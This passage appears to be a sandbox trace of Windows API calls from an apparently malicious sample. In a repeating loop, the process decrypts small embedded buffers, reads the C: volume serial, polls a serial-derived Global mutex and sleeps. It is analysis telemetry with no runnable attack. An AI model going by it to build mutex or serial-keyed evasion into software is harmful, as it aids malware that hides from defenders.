hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2b15298, pdwDataLen=0x2cefbb4 | out: pbData=0x2b15298, pdwDataLen=0x2cefbb4) returned 1 [0039.935] CryptDestroyKey (hKey=0x10c92d0) returned 1 [0039.935] HeapFree (in: hHeap=0x2b10000, dwFlags=0x0, lpMem=0x2b15298 | out: hHeap=0x2b10000) returned 1 [0039.935] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x2b11270, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0039.935] HeapFree (in: hHeap=0x2b10000, dwFlags=0x0, lpMem=0x2b11488 | out: hHeap=0x2b10000) returned 1 [0039.935] HeapFree (in: hHeap=0x2b10000, dwFlags=0x0, lpMem=0x2b11248 | out: hHeap=0x2b10000) returned 1 [0039.936] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x2cefc68, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x2cefc68*=0xb4197730, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0039.936] HeapFree (in: hHeap=0x2b10000, dwFlags=0x0, lpMem=0x2b11270 | out: hHeap=0x2b10000) returned 1 [0039.936] RtlAllocateHeap (HeapHandle=0x2b10000, Flags=0x0, Size=0x40) returned 0x2b11248 [0039.936] CryptImportKey (in: hProv=0x10b66e0, pbData=0x2cefbf4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2cefc5c | out: phKey=0x2cefc5c*=0x10c92d0) returned 1 [0039.936] CryptSetKeyParam (hKey=0x10c92d0, dwParam=0x1, pbData=0x2cefc44, dwFlags=0x0) returned 1 [0039.936] CryptDecrypt (in: hKey=0x10c92d0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2b11248, pdwDataLen=0x2cefc10 | out: pbData=0x2b11248, pdwDataLen=0x2cefc10) returned 1 [0039.936] CryptDestroyKey (hKey=0x10c92d0) returned 1 [0039.936] RtlAllocateHeap (HeapHandle=0x2b10000, Flags=0x8, Size=0x34) returned 0x2b11488 [0039.936] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\1030B419773000") returned 0x298 [0039.936] WaitForSingleObject (hHandle=0x298, dwMilliseconds=0x0) returned 0x102 [0039.936] CloseHandle (hObject=0x298) returned 1 [0039.936] HeapFree (in: hHeap=0x2b10000, dwFlags=0x0, lpMem=0x2b11248 | out: hHeap=0x2b10000) returned 1 [0039.936] HeapFree (in: hHeap=0x2b10000, dwFlags=0x0, lpMem=0x2b11488 | out: hHeap=0x2b10000) returned 1 [0039.936] Sleep (dwMilliseconds=0x3e8) [0041.001] RtlAllocateHeap (HeapHandle=0x2b10000, Flags=0x0, Size=0x20) returned 0x2b11248 [0041.001] CryptImportKey (in: hProv=0x10b66e0, pbData=0x2cefbc0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2cefc28 | out: phKey=0x2cefc28*=0x10c92d0) returned 1 [0041.001] CryptSetKeyParam (hKey=0x10c92d0, dwParam=0x1, pbData=0x2cefc10, dwFlags=0x0) returned 1 [0041.001] CryptDecrypt (in: hKey=0x10c92d0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2b11248, pdwDataLen=0x2cefbdc | out: pbData=0x2b11248, pdwDataLen=0x2cefbdc) returned 1 [0041.001] CryptDestroyKey (hKey=0x10c92d0) returned 1 [0041.001] RtlAllocateHeap (HeapHandle=0x2b10000, Flags=0x8, Size=0x1e) returned 0x2b11270 [0041.001] RtlAllocateHeap (HeapHandle=0x2b10000, Flags=0x0, Size=0x1e) returned 0x2b11488 [0041.001] RtlAllocateHeap (HeapHandle=0x2b10000, Flags=0x0, Size=0x90) returned 0x2b15298 [0041.001] CryptImportKey (in: hProv=0x10b66e0, pbData=0x2cefb98, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2cefc00 | out: phKey=0x2cefc00*=0x10c92d0) returned 1 [0041.001] CryptSetKeyParam (hKey=0x10c92d0, dwParam=0x1, pbData=0x2cefbe8, dwFlags=0x0) returned 1 [0041.001] CryptDecrypt (in: hKey=0x10c92d0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2b15298, pdwDataLen=0x2cefbb4 | out: pbData=0x2b15298, pdwDataLen=0x2cefbb4) returned 1 [0041.001] CryptDestroyKey (hKey=0x10c92d0) returned 1 [0041.001] HeapFree (in: hHeap=0x2b10000, dwFlags=0x0, lpMem=0x2b15298 | out: hHeap=0x2b10000) returned 1 [0041.001] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x2b11270, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0041.001] HeapFree (in: hHeap=0x2b10000, dwFlags=0x0, lpMem=0x2b11488 | out: hHeap=0x2b10000) returned 1 [0041.001] HeapFree (in: hHeap=0x2b10000, dwFlags=0x0, lpMem=0x2b11248 | out: hHeap=0x2b10000) returned 1 [0041.001] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x2cefc68, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x2cefc68*=0xb4197730, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0041.001] HeapFree (in: hHeap=0x2b10000, dwFlags=0x0, lpMem=0x2b11270 | out: hHeap=0x2b10000) returned 1 [0041.001] RtlAllocateHeap (HeapHandle=0x2b10000, Flags=0x0, Size=0x40) returned 0x2b11248 [0041.002] CryptImportKey (in: hProv=0x10b66e0, pbData=0x2cefbf4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2cefc5c | out: phKey=0x2cefc5c*=0x10c8d90) returned 1 [0041.002] CryptSetKeyParam (hKey=0x10c8d90, dwParam=0x1, pbData=0x2cefc44, dwFlags=0x0) returned 1 [0041.002] CryptDecrypt (in: hKey=0x10c8d90, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2b11248, pdwDataLen=0x2cefc10 | out: pbData=0x2b11248, pdwDataLen=0x2cefc10) returned 1 [0041.002] CryptDestroyKey (hKey=0x10c8d90) returned 1 [0041.002] RtlAllocateHeap (HeapHandle=0x2b10000, Flags=0x8, Size=0x34) returned 0x2b11488 [0041.002] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\1030B419773000") returned 0x298 [0041.002] WaitForSingleObject (hHandle=0x298, dwMilliseconds=0x0) returned 0x102 [0041.002] CloseHandle (hObject=0x298) returned 1 [0041.002] HeapFree (in: hHeap=0x2b10000, dwFlags=0x0, lpMem=0x2b11248 | out: hHeap=0x2b10000) returned 1 [0041.002] HeapFree (in: hHeap=0x2b10000, dwFlags=0x0, lpMem=0x2b11488 | out: hHeap=0x2b10000) returned 1 [0041.002] Sleep (dwMilliseconds=0x3e8) [0042.295] RtlAllocateHeap (HeapHandle=0x2b10000, Flags=0x0, Size=0x20) returned 0x2b154c0 [0042.295] CryptImportKey (in: hProv=0x10b66e0, pbData=0x2cefbc0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2cefc28 | out: phKey=0x2cefc28*=0x10c9450) returned 1 [0042.295] CryptSetKeyParam (hKey=0x10c9450, dwParam=0x1, pbData=0x2cefc10, dwFlags=0x0) returned 1 [0042.295] CryptDecrypt (in: hKey=0x10c9450, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2b154c0, pdwDataLen=0x2cefbdc | out: pbData=0x2b154c0, pdwDataLen=0x2cefbdc) returned 1 [0042.295] CryptDestroyKey (hKey=0x10c9450) returned 1 [0042.295] RtlAllocateHeap (HeapHandle=0x2b10000, Flags=0x8, Size=0x1e) returned 0x2b154e8 [0042.295] RtlAllocateHeap (HeapHandle=0x2b10000, Flags=0x0, Size=0x1e) returned 0x2b15510 [0042.295] RtlAllocateHeap (HeapHandle=0x2b10000, Flags=0x0, Size=0x90) returned 0x2b1b530 [0042.295] CryptImportKey (in: hProv=0x10b66e0, pbData=0x2cefb98, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2cefc00 | out: phKey=0x2cefc00*=0x10c9450) returned 1 [0042.295] CryptSetKeyParam (hKey=0x10c9450, dwParam=0x1, pbData=0x2cefbe8, dwFlags=0x0) returned 1 [0042.295] CryptDecrypt (in: hKey=0x10c9450, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2b1b530, pdwDataLen=0x2cefbb4 | out: pbData=0x2b1b530, pdwDataLen=0x2cefbb4) returned 1 [0042.295] CryptDestroyKey (hKey=0x10c9450) returned 1 [0042.296] HeapFree (in: hHeap=0x2b10000, dwFlags=0x0, lpMem=0x2b1b530 | out: hHeap=0x2b10000) returned 1 [0042.296] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x2b154e8, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0042.296] HeapFree (in: hHeap=0x2b10000, dwFlags=0x0, lpMem=0x2b15510 | out: hHeap=0x2b10000) returned 1 [0042.296] HeapFree (in: hHeap=0x2b10000, dwFlags=0x0, lpMem=0x2b154c0 | out: hHeap=0x2b10000) returned 1 [0042.296] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x2cefc68, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x2cefc68*=0xb4197730, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0043.008] HeapFree (in: hHeap=0x2b10000, dwFlags=0x0, lpMem=0x2b154e8 | out: hHeap=0x2b10000) returned 1 [0043.008] RtlAllocateHeap (HeapHandle=0x2b10000, Flags=0x0, Size=0x40) returned 0x2b154c0 [0043.008] CryptImportKey (in: hProv=0x10b66e0, pbData=0x2cefbf4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2cefc5c | out: phKey=0x2cefc5c*=0x10dc310) returned 1 [0043.008] CryptSetKeyParam (hKey=0x10dc310, dwParam=0x1, pbData=0x2cefc44, dwFlags=0x0) returned 1 [0043.008] CryptDecrypt (in: hKey=0x10dc310, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2b154c0, pdwDataLen=0x2cefc10 | out: pbData=0x2b154c0, pdwDataLen=0x2cefc10) returned 1 [0043.008] CryptDestroyKey (hKey=0x10dc310) returned 1 [0043.008] RtlAllocateHeap (HeapHandle=0x2b10000, Flags=0x8, Size=0x34) returned 0x2b1b5c0 [0043.008] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\1030B419773000") returned 0x308 [0043.008] WaitForSingleObject (hHandle=0x308, dwMilliseconds=0x0) returned 0x102 [0043.008] CloseHandle (hObject=0x308) returned 1 [0043.008] HeapFree (in: hHeap=0x2b10000, dwFlags=0x0, lpMem=0x2b154c0 | out: hHeap=0x2b10000) returned 1 [0043.009] HeapFree (in: hHeap=0x2b10000, dwFlags=0x0, lpMem=0x2b1b5c0 | out: hHeap=0x2b10000) returned 1 [0043.009] Sleep (dwMilliseconds=0x3e8) [0044.105] RtlAllocateHeap (HeapHandle=0x2b10000, Flags=0x0, Size=0x20) returned 0x2b15540 [0044.105] CryptImportKey (in: hProv=0x10b66e0, pbData=0x2cefbc0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2cefc28 | out: phKey=0x2cefc28*=0x10c8e10) returned 1 [0044.105] CryptSetKeyParam (hKey=0x10c8e10, dwParam=0x1, pbData=0x2cefc10, dwFlags=0x0) returned 1 [0044.105] CryptDecrypt (in: hKey=0x10c8e10, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2b15540, pdwDataLen=0x2cefbdc | out: pbData=0x2b15540, pdwDataLen=0x2cefbdc) returned 1 [0044.105] CryptDestroyKey (hKey=0x10c8e10) returned 1 [0044.105] RtlAllocateHeap (HeapHandle=0x2b10000, Flags=0x8, Size=0x1e) returned 0x2b154c0 [0044.105] RtlAllocateHeap (HeapHandle=0x2b10000, Flags=0x0, Size=0x1e) returned 0x2b154e8 [0044.105] RtlAllocateHeap (HeapHandle=0x2b10000, Flags=0x0, Size=0x90) returned 0x2b1b5c0 [0044.105] CryptImportKey (in: hProv=0x10b66e0, pbData=0x2cefb98, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2cefc00 | out: phKey=0x2cefc00*=0x10c8e10) returned 1 [0044.105] CryptSetKeyParam (hKey=0x10c8e10, dwParam=0x1, pbData=0x2cefbe8, dwFlags=0x0) returned 1 [0044.105] CryptDecrypt (in: hKey=0x10c8e10, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2b1b5c0, pdwDataLen=0x2cefbb4 | out: pbData=0x2b1b5c0, pdwDataLen=0x2cefbb4) returned 1 [0044.105] CryptDestroyKey (hKey=0x10c8e10) returned 1 [0044.105] HeapFree (in: hHeap=0x2b10000, dwFlags=0x0, lpMem=0x2b1b5c0 | out: hHeap=0x2b10000) returned 1 [0044.105] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x2b154c0, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0044.105] HeapFree (in: hHeap=0x2b10000, dwFlags=0x0, lpMem=0x2b154e8 | out: hHeap=0x2b10000) returned 1 [0044.105] HeapFree (in: hHeap=0x2b10000, dwFlags=0x0, lpMem=0x2b15540 | out: hHeap=0x2b10000) returned 1 [0044.105] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x2cefc68, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x2cefc68*=0xb4197730, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0044.203] HeapFree (in: hHeap=0x2b10000, dwFlags=0x0, lpMem=0x2b154c0 | out: hHeap=0x2b10000) returned 1 [0044.203] RtlAllocateHeap (HeapHandle=0x2b10000, Flags=0x0, Size=0x40) returned 0x2b154c0 [0044.203] CryptImportKey (in: hProv=0x10b66e0, pbData=0x2cefbf4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2cefc5c | out: phKey=0x2cefc5c*=0x10dc150) returned 1 [0044.203] CryptSetKeyParam (hKey=0x10dc150, dwParam=0x1, pbData=0x2cefc44, dwFlags=0x0) returned 1 [0044.203] CryptDecrypt (in: hKey=0x10dc150, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2b154c0, pdwDataLen=0x2cefc10 | out: pbData=0x2b154c0, pdwDataLen=0x2cefc10) returned 1 [0044.203] CryptDestroyKey (hKey=0x10dc150) returned 1 [0044.204] RtlAllocateHeap (HeapHandle=0x2b10000, Flags=0x8, Size=0x34) returned 0x2b1b5c0 [0044.204] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\1030B419773000") returned 0x32c [0044.204] WaitForSingleObject (hHandle=0x32c, dwMilliseconds=0x0) returned 0x102 [0044.204] CloseHandle (hObject=0x32c) returned 1 [0044.204] HeapFree (in: hHeap=0x2b10000, dwFlags=0x0, lpMem=0x2b154c0 | out: hHeap=0x2b10000) returned 1 [0044.204] HeapFree (in: hHeap=0x2b10000, dwFlags=0x0, lpMem=0x2b1b5c0 | out: hHeap=0x2b10000) returned 1 [0044.204] Sleep (dwMilliseconds=0x3e8) [0045.613] RtlAllocateHeap (HeapHandle=0x2b10000, Flags=0x0, Size=0x20) returned 0x2b15540 [0045.613] CryptImportKey (in: hProv=0x10b66e0, pbData=0x2cefbc0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2cefc28 | out: phKey=0x2cefc28*=0x10dc5d0) returned 1 [0045.613] CryptSetKeyParam (hKey=0x10dc5d0, dwParam=0x1, pbData=0x2cefc10, dwFlags=0x0) returned 1 [0045.613] CryptDecrypt (in: hKey=0x10dc5d0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2b15540, pdwDataLen=0x2cefbdc | out: pbData=0x2b15540, pdwDataLen=0x2cefbdc) returned 1 [0045.613] CryptDestroyKey (hKey=0x10dc5d0) returned 1 [0045.613] RtlAllocateHeap (HeapHandle=0x2b10000, Flags=0x8, Size=0x1e) returned 0x2b154c0 [0045.613] RtlAllocateHeap (HeapHandle=0x2b10000, Flags=0x0, Size=0x1e) returned 0x2b154e8 [0045.613] RtlAllocateHeap (HeapHandle=0x2b10000, Flags=0x0, Size=0x90) returned 0x2b1b5c0 [0045.613] CryptImportKey (in: hProv=0x10b66e0, pbData=0x2cefb98, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2cefc00 | out: phKey=0x2cefc00*=0x10dc950) returned 1 [0045.613] CryptSetKeyParam (hKey=0x10dc950, dwParam=0x1, pbData=0x2cefbe8, dwFlags=0x0) returned 1 [0045.613] CryptDecrypt (in: hKey=0x10dc950, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2b1b5c0, pdwDataLen=0x2cefbb4 | out: pbData=0x2b1b5c0, pdwDataLen=0x2cefbb4) returned 1 [0045.613] CryptDestroyKey (hKey=0x10dc950) returned 1 [0045.613] HeapFree (in: hHeap=0x2b10000, dwFlags=0x0, lpMem=0x2b1b5c0 | out: hHeap=0x2b10000) returned 1 [0045.613] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x2b154c0, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0045.613] HeapFree (in: hHeap=0x2b10000, dwFlags=0x0, lpMem=0x2b154e8 | out: hHeap=0x2b10000) returned 1 [0045.613] HeapFree (in: hHeap=0x2b10000, dwFlags=0x0, lpMem=0x2b15540 | out: hHeap=0x2b10000) returned 1 [0045.613] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x2cefc68, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x2cefc68*=0xb4197730, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0045.613] HeapFree (in: hHeap=0x2b10000, dwFlags=0x0, lpMem=0x2b154c0 | out: hHeap=0x2b10000) returned 1 [0045.613] RtlAllocateHeap (HeapHandle=0x2b10000, Flags=0x0, Size=0x40) returned 0x2b154c0 [0045.613] CryptImportKey (in: hProv=0x10b66e0, pbData=0x2cefbf4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2cefc5c | out: phKey=0x2cefc5c*=0x10dc710) returned 1 [0045.614] CryptSetKeyParam (hKey=0x10dc710, dwParam=0x1, pbData=0x2cefc44, dwFlags=0x0) returned 1 [0045.614] CryptDecrypt (in: hKey=0x10dc710, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2b154c0, pdwDataLen=0x2cefc10 | out: pbData=0x2b154c0, pdwDataLen=0x2cefc10) returned 1 [0045.614] CryptDestroyKey (hKey=0x10dc710) returned 1 [0045.614] RtlAllocateHeap (HeapHandle=0x2b10000, Flags=0x8, Size=0x34) returned 0x2b1b5c0 [0045.614] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\1030B419773000") returned 0x300 [0045.614] WaitForSingleObject (hHandle=0x300, dwMilliseconds=0x0) returned 0x102 [0045.614] CloseHandle (hObject=0x300) returned 1 [0045.614] HeapFree (in: hHeap=0x2b10000, dwFlags=0x0, lpMem=0x2b154c0 | out: hHeap=0x2b10000) returned 1 [0045.614] HeapFree (in: hHeap=0x2b10000, dwFlags=0x0, lpMem=0x2b1b5c0 | out: hHeap=0x2b10000) returned 1 [0045.614] Sleep (dwMilliseconds=0x3e8) [0047.127] RtlAllocateHeap (HeapHandle=0x2b10000, Flags=0x0, Size=0x20) returned 0x2b15540 [0047.128] CryptImportKey (in: hProv=0x10b66e0, pbData=0x2cefbc0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2cefc28 | out: phKey=0x2cefc28*=0x10dcb90) returned 1 [0047.128] CryptSetKeyParam (hKey=0x10dcb90, dwParam=0x1, pbData=0x2cefc10, dwFlags=0x0) returned 1 [0047.128] CryptDecrypt (in: hKey=0x10dcb90, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2b15540, pdwDataLen=0x2cefbdc | out: pbData=0x2b15540, pdwDataLen=0x2cefbdc) returned 1 [0047.128] CryptDestroyKey (hKey=0x10dcb90) returned 1 [0047.128] RtlAllocateHeap (HeapHandle=0x2b10000, Flags=0x8, Size=0x1e) returned 0x2b154c0 [0047.128] RtlAllocateHeap (HeapHandle=0x2b10000, Flags=0x0, Size=0x1e) returned 0x2b154e8 [0047.128] RtlAllocateHeap (HeapHandle=0x2b10000, Flags=0x0, Size=0x90) returned 0x2b1b5c0 [0047.128] CryptImportKey (in: hProv=0x10b66e0, pbData=0x2cefb98, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2cefc00 | out: phKey=0x2cefc00*=0x10dc8d0) returned 1 [0047.128] CryptSetKeyParam (hKey=0x10dc8d0, dwParam=0x1, pbData=0x2cefbe8, dwFlags=0x0) returned 1 [0047.128] CryptDecrypt (in: hKey=0x10dc8d0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2b1b5c0, pdwDataLen=0x2cefbb4 | out: pbData=0x2b1b5c0, pdwDataLen=0x2cefbb4) returned 1 [0047.128] CryptDestroyKey (hKey=0x10dc8d0) returned 1 [0047.128] HeapFree (in: hHeap=0x2b10000, dwFlags=0x0, lpMem=0x2b1b5c0 | out: hHeap=0x2b10000) returned 1 [0047.128] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x2b154c0, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0047.128] HeapFree (in: hHeap=0x2b10000, dwFlags=0x0, lpMem=0x2b154e8 | out: hHeap=0x2b10000) returned 1 [0047.128] HeapFree (in: hHeap=0x2b10000, dwFlags=0x0, lpMem=0x2b15540 | out: hHeap=0x2b10000) returned 1 [0047.128] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x2cefc68, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x2cefc68*=0xb4197730, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0047.128] HeapFree (in: hHeap=0x2b10000, dwFlags=0x0, lpMem=0x2b154c0 | out: hHeap=0x2b10000) returned 1 [0047.128] RtlAllocateHeap (HeapHandle=0x2b10000, Flags=0x0, Size=0x40) returned 0x2b154c0 [0047.128] CryptImportKey (in: hProv=0x10b66e0, pbData=0x2cefbf4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2cefc5c | out: phKey=0x2cefc5c*=0x10dc590) returned 1 [0047.128] CryptSetKeyParam (hKey=0x10dc590, dwParam=0x1, pbData=0x2cefc44, dwFlags=0x0) returned 1 [0047.128] CryptDecrypt (in: hKey=0x10dc590, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2b154c0, pdwDataLen=0x2cefc10 | out: pbData=0x2b154c0, pdwDataLen=0x2cefc10) returned 1 [0047.128] CryptDestroyKey (hKey=0x10dc590) returned 1 [0047.128] RtlAllocateHeap (HeapHandle=0x2b10000, Flags=0x8, Size=0x34) returned 0x2b1b5c0 [0047.128] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\1030B419773000") returned 0x300 [0047.128] WaitForSingleObject (hHandle=0x300, dwMilliseconds=0x0) returned 0x102 [0047.169] CloseHandle (hObject=0x300) returned 1 [0047.169] HeapFree (in: hHeap=0x2b10000, dwFlags=0x0, lpMem=0x2b154c0 | out: hHeap=0x2b10000) returned 1 [0047.169] HeapFree (in: hHeap=0x2b10000, dwFlags=0x0, lpMem=0x2b1b5c0 | out: hHeap=0x2b10000) returned 1 [0047.169] Sleep (dwMilliseconds=0x3e8) [0048.416] RtlAllocateHeap (HeapHandle=0x2b10000, Flags=0x0, Size=0x20) returned 0x2b15540 [0048.416] CryptImportKey (in: hProv=0x10b66e0, pbData=0x2cefbc0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2cefc28 | out: phKey=0x2cefc28*=0x10dc590) returned 1 [0048.416] CryptSetKeyParam (hKey=0x10dc590, dwParam=0x1, pbData=0x2cefc10, dwFlags=0x0) returned 1 [0048.416] CryptDecrypt (in: hKey=0x10dc590, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2b15540, pdwDataLen=0x2cefbdc | out: pbData=0x2b15540, pdwDataLen=0x2cefbdc) returned 1 [0048.416] CryptDestroyKey (hKey=0x10dc590) returned 1 [0048.416] RtlAllocateHeap (HeapHandle=0x2b10000, Flags=0x8, Size=0x1e) returned 0x2b154c0 [0048.416] RtlAllocateHeap (HeapHandle=0x2b10000, Flags=0x0, Size=0x1e) returned 0x2b154e8 [0048.416] RtlAllocateHeap (HeapHandle=0x2b10000, Flags=0x0, Size=0x90) returned 0x2b1b5c0 [0048.416] CryptImportKey (in: hProv=0x10b66e0, pbData=0x2cefb98, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2cefc00 | out: phKey=0x2cefc00*=0x10dc550) returned 1 [0048.416] CryptSetKeyParam (hKey=0x10dc550, dwParam=0x1, pbData=0x2cefbe8, dwFlags=0x0) returned 1 [0048.416] CryptDecrypt (in: hKey=0x10dc550, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2b1b5c0, pdwDataLen=0x2cefbb4 | out: pbData=0x2b1b5c0, pdwDataLen=0x2cefbb4) returned 1 [0048.416] CryptDestroyKey (hKey=0x10dc550) returned 1 [0048.416] HeapFree (in: hHeap=0x2b10000, dwFlags=0x0, lpMem=0x2b1b5c0 | out: hHeap=0x2b10000) returned 1 [0048.416] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x2b154c0, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0048.416] HeapFree (in: hHeap=0x2b10000, dwFlags=0x0, lpMem=0x2b154e8 | out: hHeap=0x2b10000) returned 1 [0048.416] HeapFree (in: hHeap=0x2b10000, dwFlags=0x0, lpMem=0x2b15540 | out: hHeap=0x2b10000) returned 1 [0048.416] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x2cefc68, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x2cefc68*=0xb4197730, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0048.416] HeapFree (in: hHeap=0x2b10000, dwFlags=0x0, lpMem=0x2b154c0 | out: hHeap=0x2b10000) returned 1 [0048.416] RtlAllocateHeap (HeapHandle=0x2b10000, Flags=0x0, Size=0x40) returned 0x2b154c0 [0048.417] CryptImportKey (in: hProv=0x10b66e0, pbData=0x2cefbf4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2cefc5c | out: phKey=0x2cefc5c*=0x10dcc10) returned 1 [0048.417] CryptSetKeyParam (hKey=0x10dcc10, dwParam=0x1, pbData=0x2cefc44, dwFlags=0x0) returned 1 [0048.417] CryptDecrypt (in: hKey=0x10dcc10, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2b154c0, pdwDataLen=0x2cefc10 | out: pbData=0x2b154c0, pdwDataLen=0x2cefc10) returned 1 [0048.417] CryptDestroyKey (hKey=0x10dcc10) returned 1 [0048.417] RtlAllocateHeap (HeapHandle=0x2b10000, Flags=0x8, Size=0x34) returned 0x2b1b5c0 [0048.417] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\1030B419773000") returned 0x31c [0048.417] WaitForSingleObject (hHandle=0x31c, dwMilliseconds=0x0) returned 0x102 [0048.417] CloseHandle (hObject=0x31c) returned 1 [0048.417] HeapFree (in: hHeap=0x2b10000, dwFlags=0x0, lpMem=0x2b154c0 | out: hHeap=0x2b10000) returned 1 [0048.417] HeapFree (in: hHeap=0x2b10000, dwFlags=0x0, lpMem=0x2b1b5c0 | out: hHeap=0x2b10000) returned 1 [0048.417] Sleep (dwMilliseconds=0x3e8) [0049.861] RtlAllocateHeap (HeapHandle=0x2b10000, Flags=0x0, Size=0x20) returned 0x2b15540 [0049.861] CryptImportKey (in: hProv=0x10b66e0, pbData=0x2cefbc0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2cefc28 | out: 